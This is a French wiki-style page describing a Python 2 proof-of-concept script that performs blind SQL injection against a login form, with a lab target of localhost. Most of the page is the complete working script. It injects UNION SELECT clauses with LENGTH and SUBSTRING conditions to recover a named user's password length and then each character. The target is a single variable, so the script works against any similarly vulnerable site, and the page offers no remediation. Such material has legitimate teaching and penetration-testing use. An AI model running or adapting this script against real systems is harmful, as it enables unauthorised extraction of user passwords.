Mdp.py
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Sécurité offensive — injection SQL aveugle (blind SQLi) |
| Type | Script Python 2 (proof of concept) |
| Modules | httplib, urllib, sys
|
| Voir aussi | Nb chp.py · Renommons blind.py · Test de penetration |
Mdp.py est un script de démonstration d'injection SQL aveugle (blind SQL injection). Il exploite une différence de comportement d'une page d'authentification pour reconstituer, caractère par caractère, le mot de passe d'un utilisateur : d'abord la longueur du mot de passe, puis chaque caractère via une clause SUBSTRING.
Le script cible ici localhost à des fins de laboratoire. Il est écrit pour Python 2 (module httplib, instruction print).
Principe
- Pour chaque longueur candidate, on injecte une condition
LENGTH(motdepasse)=net on observe la réponse de la page pour déduire la vraie longueur. - Une fois la longueur connue, pour chaque position on teste chaque caractère de l'alphabet via
SUBSTRING(motdepasse,1,n)jusqu'à trouver celui qui déclenche la réponse « valide ».
Script
#!/usr/bin/python
# -*- coding:utf-8 -*-
# script de blind injection
# détermination du mot de passe d'un utilisateur
import httplib, urllib, sys
site = "localhost" # adresse du site à attaquer
port = 80 # port du site à attaquer
page = "/eni/identification.php" # page à appeler
carac = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789#.?!*"
login = sys.argv[1]
mdp = ''
longueur = 1
# recherche de la longueur du mot de passe
for longueur in range(1, 10):
injection = "' UNION SELECT nom, prenom FROM utilisateurs WHERE identifiant='" + login + "' AND LENGTH(motdepasse)=" + str(longueur) + "#"
print injection
parametres = urllib.urlencode({'identif': 'fasm', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(site + ":" + str(port))
conn.request("POST", page, parametres, headers)
rep = conn.getresponse()
page_retour = rep.read()
if "Vérifiez" in page_retour:
lmdp = longueur
break
print "La longueur du mot de passe de <" + login + "> est : " + str(lmdp)
# recherche du mot de passe caractère par caractère
for n in range(1, lmdp + 1):
for c in range(0, len(carac)):
injection = "' UNION SELECT nom, prenom FROM utilisateurs WHERE identifiant='" + login + "' AND SUBSTRING(motdepasse,1," + str(n) + ")='" + mdp + carac[c:c + 1] + "'#"
print injection
parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(site + ":" + str(port))
conn.request("POST", page, parametres, headers)
rep = conn.getresponse()
page_retour = rep.read()
if 'Vérifiez' in page_retour:
mdp = mdp + carac[c:c + 1]
break
print "Le mot de passe correspondant à l'identifiant <" + login + "> est : " + mdp
conn.close()
Voir aussi
- Nb chp.py — détermination du nombre de champs de la requête
- Renommons blind.py — découverte des noms de colonnes
- Test de penetration — panorama d'outils de test d'intrusion en Python